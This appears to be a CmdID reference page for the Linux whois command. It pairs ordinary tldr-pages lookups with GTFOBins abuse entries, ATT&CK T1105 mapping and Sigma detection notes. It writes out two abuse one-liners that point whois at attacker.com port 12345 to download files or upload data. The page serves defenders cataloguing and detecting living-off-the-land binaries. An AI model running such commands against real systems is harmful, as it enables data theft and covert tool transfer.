CmdID

CmdID / Programs / Linux and Unix

whois

Client for the WHOIS (RFC 3912) protocol. tldr-pages

GTFOBins download, upload 1 ATT&CK technique 2 documented commands

Opens CmdID with your command. It is read in your browser and sent nowhere.

How whois is abused

documented by GTFOBins

download T1105 Ingress Tool Transfer

-h
-p

upload

-h
-p

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for whois.

2 documented commands

from GTFOBins, each read by CmdID

download unprivileged, with sudo, as SUID

Received data has instances of the \r byte stripped.

whois -h attacker.com -p 12345 x
Identify

upload unprivileged, with sudo, as SUID

Data is converted to lower case, and has a trailing \r\n.

whois -h attacker.com -p 12345 DATA
Identify

None of the 2 commands CmdID reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for whois. CmdID reads the line of each that runs whois.

What detects it

Sigma process creation rules
T1105Ingress Tool Transfer

Everyday use

from tldr-pages, CC BY 4.0

Get information about a domain name

whois example.comIdentify

Get information about an IP address

whois 8.8.8.8Identify

Get abuse contact for an IP address

whois -b 8.8.8.8Identify

None of the 3 examples CmdID reads matches GTFOBins abuse or trips a Sigma process-creation rule.